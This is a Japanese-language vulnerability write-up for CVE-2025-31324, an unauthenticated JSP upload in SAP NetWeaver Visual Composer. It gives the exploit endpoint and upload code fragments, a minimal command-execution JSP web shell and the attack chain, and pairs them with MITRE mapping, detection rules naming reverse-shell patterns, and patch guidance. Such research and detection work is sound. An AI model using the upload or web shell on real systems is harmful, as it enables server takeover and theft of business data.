
CVE-2025-31324の概念実証エクスプロイト。SAP NetWeaver Visual Composerにおける未認証のファイルアップロード脆弱性であり、検出ガイダンス、MITREマッピング、および修復手順を含む。
タイプ: 概念実証 — 脆弱性調査 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) ステータス: パッチ適用済み — SAP Security Note 3594142 + 3604119 CISA KEV に追加: 2025年5月
⚠️ このPoCは、悪意のあるコードを実行せずに攻撃対象領域を検証するために、良性のJSPファイル("Hello World")を使用します。ペンテストおよび検知開発目的でのみ、許可された環境で使用してください。
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 の脆弱性は、SAP NetWeaver AS Java の Visual Composer Metadata Uploader コンポーネントに存在します — 認可チェックの欠如 により、認証されていない攻撃者が /developmentserver/metadatauploader エンドポイントに POST リクエストを送信し、任意のファイルを無制限にアップロードできるようになります。
このCVEは、SAP NetWeaver Visual Composer Framework バージョン 7.50 に特に影響し、CVSSスコアは最大値である10.0です。
脅威アクターは、2025年1月から5月にかけてこの脆弱性を積極的に悪用し、世界中の数百のシステムに永続的なウェブシェルを展開しました。
$ cat ./impact.txt高い権限で動作し、ERPデータに近接しているため、悪用後のSAP ABAPスタックや接続されたデータベースへのラテラルムーブメントは簡単です。
実際の攻撃における完全な悪用チェーン:
JSPアップロード (CVE-2025-31324)
→ サーバー上の永続的なウェブシェル
→ SAPプロセスとしてのRCE(高権限)
→ ERPデータへのアクセス(財務、人事、サプライチェーン)
→ ABAP / DB へのラテラルムーブメント
→ C2フレームワークの展開(例: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ 攻撃者 SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/任意のファイル ──────────► │ Metadata Uploader │ │
│ (認証なし) │ │ │
│ │ ❌ 認証チェックなし │ │
│ │ ❌ 拡張子の検証なし │ │
│ │ ❌ コンテンツの │ │
│ │ サニタイズなし │ │
│ └────────┬────────────┘ │
│ │ │
│ ファイルは以下に保存: │
│ /irj/root/ または類似 │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (良性のPoC) │
│ → ウェブシェル (実際の悪用) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader は SAP Visual Composer の一部です — これは、ビジネスアナリストがJavaコードなしでSAPアプリケーションを作成するためのローコード開発ツールです。このエンドポイントは、開発中にメタデータモデルを受け取るように設計されました。 このコンポーネントはNetWeaverのデフォルト設定では有効になっていませんが、Onapsisは本番環境で広く有効化されていると報告しています。
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
なぜJSPなのか、他の形式ではないのか?
SAP NetWeaver AS Java はJVMを実行します — .jsp ファイルは、事前のコンパイルなしでサーブレットコンテナ(組み込みApache Tomcat)によって直接解釈されます。これにより、JSPはJava環境でのウェブシェルに理想的な形式となります。
良性のコンテンツ("Hello World")の選択は、PoCのために意図的です:
実際の悪用では、コンテンツはコマンド実行を伴うJSPウェブシェルになります。例:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — なぜこのContent-Typeなのか?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
このエンドポイントは multipart/form-data リクエストを期待します — これはHTMLフォームのファイルアップロードで使用されるのと同じ形式です。これはVisual Composerの元の設計(開発モデルのアップロード)において意図的です。
requests ライブラリは、files= が渡されるとmultipartのバウンダリを自動的に構築します — Content-Type: multipart/form-data; boundary=... ヘッダーは内部で生成されます。
verify=False: TLS証明書の検証を無効にします — SAP環境では自己署名証明書が頻繁に使用されるため必要です。本番環境では、verify='/path/to/ca-bundle.crt' を使用してください。
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| コンポーネント | 意味 |
|---|---|
:50201 | SAP ICM(Internet Communication Manager)HTTPSのデフォルトポート |
/developmentserver/ | Visual Composerの開発サーブレット |
metadatauploader | メタデータアップロード専用エンドポイント |
CONTENTTYPE=MODEL | エンドポイントが期待するコンテンツタイプ |
CLIENT=1 | SAPクライアント(mandant)— 000、100、001 が一般的 |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# HTTP POSTによる認証なしの /developmentserver/metadatauploader エンドポイントの悪用
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# アップロードされたJSPウェブシェル → サーブレットコンテナ(Tomcat)によって実行
tactic: Persistence
- T1505.003 # 永続化メカニズムとしてのWeb Shell
# JSPファイルは再起動後もサーバーのファイルシステムに永続化
tactic: Defense Evasion
- T1036 # Masquerading
# 正当なSAPファイルに偽装した名前のウェブシェル(例: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# RCE後: プロセス、ユーザー、SAPパスの列挙
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# RCEを介したABAPスタック、接続されたデータベースへのアクセス
tactic: Collection
- T1005 # Data from Local System
# ERPデータ(財務、人事、サプライチェーン)への直接アクセス
$ cat ./affected_versions.txt製品: SAP NetWeaver Application Server Java
コンポーネント: Visual Composer Framework
バージョン: 7.50 (2025年4月/5月のパッチ前のすべてのビルド)
パッチ:
SSN 3594142 → 初期パッチ(2025年4月)— ファイルアップロードを緩和
SSN 3604119 → CVE-2025-42999による根本原因修正(2025年5月)— 根本原因に対処
SSN 3578900, 3620498, 3621771, 3634501 → 追加のハードニングノート
CISA KEV: CVE-2025-31324 と CVE-2025-42999 の両方がカタログに追加されました
$ cat ./detection_opportunities.md# ルール: Metadata Uploaderエンドポイントへの認証なしPOST
# ソース: SAP Web Dispatcher / ICM アクセスログ
条件:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
重大度: 重大 — 直ちに調査
# SAP ICMログ — 疑わしいパターン:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# ルール: 正当なSAPパス外で最近作成された.jspファイルへのGET
条件:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [既知の正当なJSPのリスト]
# SAP JVMからの疑わしい子プロセス
# ソース: Sysmon / EDR プロセス作成
条件:
- parent_process: java.exe または jstart.exe
- child_process: cmd.exe または powershell.exe または sh または bash
- command_line CONTAINS: -c または .socket または .call( または .spawn(
Red Canaryは、Linux環境でのCVE-2025-31324の悪用について、.socket と .call( または .spawn( を組み合わせた -c 引数を持つ python プロセス — ウェブシェル後のリバースシェルを示す — という検知パターンを文書化しました。
# 過去90日間の脆弱なエンドポイントへのPOSTリクエストを検索
# ログディレクトリ: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Webディレクトリで最近作成されたJSPを一覧表示
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.md優先度: 重大 — 直ちにパッチ適用
1. コンポーネントがアクティブかどうかを確認:
NWA → Configuration → Infrastructure → Java System Properties
com.sap.tc.vccomp.server.vis.jms.VisJmsService を検索